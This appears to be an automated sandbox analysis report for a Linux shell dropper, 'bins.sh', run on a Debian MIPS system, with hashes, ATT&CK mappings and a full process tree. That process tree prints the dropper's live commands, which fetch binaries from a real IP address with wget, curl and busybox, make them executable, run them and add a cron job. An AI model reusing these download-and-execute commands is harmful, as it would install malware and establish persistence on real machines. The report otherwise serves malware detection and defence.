d508d06fc665b8cfe1800616aa1d486452c1994c7c6b29367d4236580d7dd3e9

Analysis

max time kernel
100s
max time network
148s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
15/11/2024, 10:48

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General

Target
bins.sh
Size 10KB
Sample241115-mv35batajq
SHA256 d508d06fc665b8cfe1800616aa1d486452c1994c7c6b29367d4236580d7dd3e9
MD5 cda18bed3517ec760b0315d4dd2220bc
SHA1 6d85bf03067167ec0fabd637186e94c950889bd4
SHA512 332fbc55ad0eb1f9a301637b8b01992246e626ef10defed26ab0b2ee2e807eac21d6e8c1b33be5c8997162b42195232cb41a8bf2ddd51c9950970c8b97a6a43d
SSDEEP 192:qeNP/vY0moZpZO65glg5g7gmgaPgPAxqbfHiSUTbfHiSVZpZO6tglg5g7gmgaPgG:qe0t6WsRaIIxw6WsRaIG
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (1201) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
768	chmod
739	chmod
746	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W	740	3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
/tmp/EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7	747	EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
/tmp/dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD	769	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD

Renames itself 1 IoCs

pid	Process
770	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.5YnzCD	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/977/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/675/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/783/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/797/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/854/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/968/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/72/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/379/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/714/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/791/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/835/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/844/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/843/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/965/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/816/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/945/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/811/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/825/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/874/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/877/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/941/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/15/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/77/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/122/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/803/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/861/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/12/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/37/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/781/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/917/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/959/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/670/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/706/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/842/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/806/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/832/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/932/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/983/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/1/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/798/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/837/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/973/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/73/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/795/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/829/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/322/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/686/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/848/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/939/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/949/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/10/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/24/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/831/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/840/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/964/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/17/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/812/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/826/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/70/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/236/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/872/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/870/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/3/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
File opened for reading	/proc/701/cmdline	dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W	curl
File opened for modification	/tmp/EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7	wget
File opened for modification	/tmp/EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7	curl
File opened for modification	/tmp/EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7	busybox
File opened for modification	/tmp/dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD	busybox
File opened for modification	/tmp/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W	wget
File opened for modification	/tmp/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W	busybox
File opened for modification	/tmp/dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD	wget
File opened for modification	/tmp/dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:707
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:715
- /usr/bin/wget
  wget http://216.126.231.240/bins/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
  2⤵
  - Writes file to tmp directory
  PID:716
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
  2⤵
  - Writes file to tmp directory
  PID:730
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
  2⤵
  - Writes file to tmp directory
  PID:737
- /bin/chmod
  chmod 777 3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
  ./3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm 3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
  2⤵
  PID:742
- /usr/bin/wget
  wget http://216.126.231.240/bins/EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
  2⤵
  - Writes file to tmp directory
  PID:743
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
  2⤵
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
  2⤵
  - Writes file to tmp directory
  PID:745
- /bin/chmod
  chmod 777 EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
  ./EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
  2⤵
  PID:749
- /usr/bin/wget
  wget http://216.126.231.240/bins/dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
  2⤵
  - Writes file to tmp directory
  PID:750
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
  2⤵
  - Writes file to tmp directory
  PID:751
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
  2⤵
  - Writes file to tmp directory
  PID:762
- /bin/chmod
  chmod 777 dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
  ./dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:769
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:771
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:773
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:775
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:776
- /bin/rm
  rm dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
  2⤵
  PID:781
- /usr/bin/wget
  wget http://216.126.231.240/bins/sH2ybVIJDTZcrByQFvEP6l1MX6boxFZ7WA
  2⤵
  PID:821

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W

Path /tmp/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
Size 99KB
SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
MD5 9438d9bc392bcf300a5583b6df5bc8f6
SHA1 375a6ae34b516f6f3eeea8030c4084f585017efa
SHA512 1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
SSDEEP 3072:kFPlxndf22h/xwXnTkai7MYRApCg9dgdmk1b5wdL35sPX:kZlxndf8nTqtS/9dgdmk1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7

Path /tmp/EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
Size 119KB
SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
MD5 1b166b95f9cb4b079ef1b9ec8363ddf3
SHA1 0d8eb08add467b3b5474f9b25909297fe7c2839c
SHA512 983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
SSDEEP 3072:lbeGHulXta3Yz+u6b/tDrHvIAJ9GjOHSHm8RiQztBJk9zEp:Re3ODtDbvIg9Gj7Hm8RiQztB+9zEp
MD5 SHA1 SHA512 SSDEEP

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dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD

Path /tmp/dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
Size 151KB
SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
MD5 3c90d5820bddcf7c5d1bd21dfa49d958
SHA1 5ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA512 54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
SSDEEP 1536:mVqSjUF+uLHLVdiLzLsLzLsL7LeLGLXL0LLLkLhqqvZjptByZEGkbU+/pWacxZkI:tr9dy1B2gSpLg70mLjXswi5itRx2p
MD5 SHA1 SHA512 SSDEEP

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tmp.5YnzCD

Path /var/spool/cron/crontabs/tmp.5YnzCD
Size 210B
SHA256 c40119a1f46d09f5c8eb0d78adee691d106838ab9aae626480c8e00d17c93ff6
MD5 414f3425020c13ccac0244d9b72469b4
SHA1 0135d174aba2ddef719f27dab4362b2315d4cb25
SHA512 25e37400edda653f5599d64c09b92348da36ccb624f57451c06f2be4619bc56d582a8e72e7b2ba1885da6871e1845cb4c278658c58d3a36c6dafb5f4efbbd1ac
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads